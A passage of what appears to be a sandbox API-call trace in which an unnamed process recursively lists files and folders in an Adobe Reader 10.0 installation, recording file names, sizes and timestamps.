ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0229.937] GetProcessHeap () returned 0x550000 [0229.937] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0229.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0230.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0230.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="3difr.x3d", cAlternateFileName="")) returned 1 [0230.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a590, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX8.x3d", cAlternateFileName="")) returned 1 [0230.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc6f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1 [0230.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35190, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1 [0230.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc", cAlternateFileName="")) returned 1 [0230.462] GetProcessHeap () returned 0x550000 [0230.462] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0230.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0230.510] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.510] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0230.510] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 0 [0230.510] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0230.510] GetProcessHeap () returned 0x550000 [0230.510] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0230.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0230.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1 [0230.510] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 0 [0230.511] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0230.511] GetProcessHeap () returned 0x550000 [0230.511] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0230.512] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0230.512] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="READER~1.EXE")) returned 1 [0230.512] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1 [0230.513] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1 [0230.513] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ff90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1 [0230.513] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0230.513] GetProcessHeap () returned 0x550000 [0230.513] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0230.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0230.640] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.640] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.spi", cAlternateFileName="")) returned 1 [0230.640] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.cfg", cAlternateFileName="")) returned 1 [0230.640] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.cfg", cAlternateFileName="")) returned 0 [0230.641] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0230.641] GetProcessHeap () returned 0x550000 [0230.641] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0230.641] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPPlugins", cAlternateFileName="SPPLUG~1")) returned 1 [0230.641] GetProcessHeap () returned 0x550000 [0230.641] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0230.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0230.753] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.753] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADMPlugin.apl", cAlternateFileName="ADMPLU~1.APL")) returned 1 [0230.753] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADMPlugin.apl", cAlternateFileName="ADMPLU~1.APL")) returned 0 [0230.753] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0230.754] GetProcessHeap () returned 0x550000 [0230.754] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0230.754] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1 [0230.754] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1 [0230.754] GetProcessHeap () returned 0x550000 [0230.754] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0230.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0231.330] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="bl.gif", cAlternateFileName="")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="br.gif", cAlternateFileName="")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="create_form.gif", cAlternateFileName="CREATE~1.GIF")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="distribute_form.gif", cAlternateFileName="DISTRI~1.GIF")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_all.gif", cAlternateFileName="EMAIL_~2.GIF")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_initiator.gif", cAlternateFileName="EMAIL_~1.GIF")) returned 1 [0232.154] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="ended_review_or_form.gif", 